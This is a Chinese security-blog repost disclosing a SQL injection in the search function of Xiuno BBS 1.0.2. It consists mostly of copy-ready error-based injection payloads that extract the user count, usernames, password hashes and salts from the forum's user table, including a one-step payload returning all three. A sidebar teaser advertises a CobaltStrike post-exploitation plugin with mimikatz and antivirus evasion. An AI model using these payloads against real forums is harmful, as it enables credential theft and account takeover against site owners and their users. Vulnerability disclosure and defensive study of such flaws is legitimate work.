修罗(Xiuno 1.0.2)bbs 注入漏洞

admin 2021年9月14日15:08:48评论56 views字数 1518阅读5分3秒阅读模式

前段时间爆出 Xiuno bbs 后台拿shell
无意中翻了下代码发现 搜索型注入漏洞(POST)
magic_quotes_gpc = Off

获取用户个数

1
' AND (SELECT 1600 FROM(SELECT COUNT(*),CONCAT(0x6c6f7374776f6c667e,(SELECT MID((IFNULL(CAST(COUNT(*) AS CHAR),0x20)),1,50) FROM www_userfield),0x7e7430306c73,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'lost'='lost

获取用户名:

1
' AND (SELECT 3849 FROM(SELECT COUNT(*),CONCAT(0x6c6f7374776f6c667e,(SELECT MID((IFNULL(CAST(username AS CHAR),0x20)),1,50) FROM www_userfield LIMIT 0,1),0x7e7430306c73,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'lost'='lost

获取密码:

1
' AND (SELECT 7750 FROM(SELECT COUNT(*),CONCAT(0x6c6f7374776f6c667e,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,50) FROM www_userfield LIMIT 0,1),0x7e7430306c73,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'lost'='lost

获取salt:

1
' AND (SELECT 7750 FROM(SELECT COUNT(*),CONCAT(0x6c6f7374776f6c667e,(SELECT MID((IFNULL(CAST(salt AS CHAR),0x20)),1,50) FROM www_userfield LIMIT 0,1),0x7e7430306c73,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'lost'='lost

一步获取

1
' AND (SELECT 2861 FROM(SELECT COUNT(*),CONCAT((SELECT concat(0x757365726e616d653a,username,0x3b70617373776f72643a,password,0x3a,salt)  FROM www_userfield limit 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'MOBL'='MOBL

note:
LIMIT = 用户个数-1,1

xx FROM www_userfield where username='admin';

Source:wolvez.club | Author:wolvez

相关推荐: LSTAR - CobaltStrike 后渗透插件

LSTAR - Aggressor本着简化 CS 右键和方便自己集成的目的,对 Reference 里的项目进行了缝合以及二次开 (抄) 发 (袭) 并添加了虚拟机/AV 检测、主机相关密码抓取、 Cxk 限时免杀的 mimikatz 和 adduser 等功…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月14日15:08:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   修罗(Xiuno 1.0.2)bbs 注入漏洞http://cn-sec.com/archives/542742.html

发表评论

匿名网友 填写信息